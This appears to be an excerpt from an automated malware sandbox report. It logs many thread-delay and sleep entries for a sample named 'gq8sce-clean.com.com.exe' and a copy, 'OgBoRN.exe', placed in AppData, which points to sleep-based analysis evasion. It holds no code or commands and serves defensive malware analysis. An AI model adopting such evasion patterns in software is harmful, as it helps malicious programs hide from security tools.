Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597966	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597818	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597702	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597415	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597309	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597077	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596166	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596049	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595667	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595063	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594500	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594391	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594266	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594155	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594041	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 593923	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 593811	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599449	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599016	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598907	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598782	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598428	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598157	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598018	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597767	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597641	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597525	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597417	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596954	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596829	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596704	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596579	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596454	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596329	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596204	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 596079	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595954	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595829	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595708	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595579	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595454	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595329	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595204	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 595079	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594954	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594840	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 593990	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 593735	Jump to behavior

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Window / User API: threadDelayed 2432	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Window / User API: threadDelayed 7339	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Window / User API: threadDelayed 4443	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Window / User API: threadDelayed 5372	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Window / User API: threadDelayed 3881	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Window / User API: threadDelayed 5830	Jump to behavior

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -599862s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -599734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -599594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -599468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -599359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -599250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -599140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -599031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -598921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -598812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -598703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -598594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -598481s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -598375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -598265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -598156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -598047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -597937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -597828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -597719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -597594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -597478s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -597358s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -597116s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -597000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -596890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -596781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -596672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -596562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -596344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -596219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -596109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -596000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -595890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -595672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -595344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -595219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -595109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -595000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -594890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -594781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -594672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -594562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -594452s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe TID: 6556	Thread sleep time: -594343s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -30437127721620741s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 2672	Thread sleep count: 4443 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 2672	Thread sleep count: 5372 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -598666s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -598547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -598224s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -598078s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -597966s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -597818s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -597702s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -597415s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -597309s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -597188s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -597077s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -596953s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -596844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -596718s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -596609s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -596500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -596390s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -596281s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -596166s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -596049s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -595812s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -595667s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -595547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -595438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -595313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -595188s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -595063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -594844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -594609s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -594500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -594391s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -594266s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -594155s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -594041s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -593923s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 5244	Thread sleep time: -593811s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -35971150943733603s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -599563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -599449s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -599016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -598907s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -598782s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -598563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -598428s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -598157s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -598018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -597891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -597767s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -597641s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -597525s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -597417s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -597297s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -597188s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -597063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -596954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe TID: 1684	Thread sleep time: -596829s >= -30000s	Jump to behavior
